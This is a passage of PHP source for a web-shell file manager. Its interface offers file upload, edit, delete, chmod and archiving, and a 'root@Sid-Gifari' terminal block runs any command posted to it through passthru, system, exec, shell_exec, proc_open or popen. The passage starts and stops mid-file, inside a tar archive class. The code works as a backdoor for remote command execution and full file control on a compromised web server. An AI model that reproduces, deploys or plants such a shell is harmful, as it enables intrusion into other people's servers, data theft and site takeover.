    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
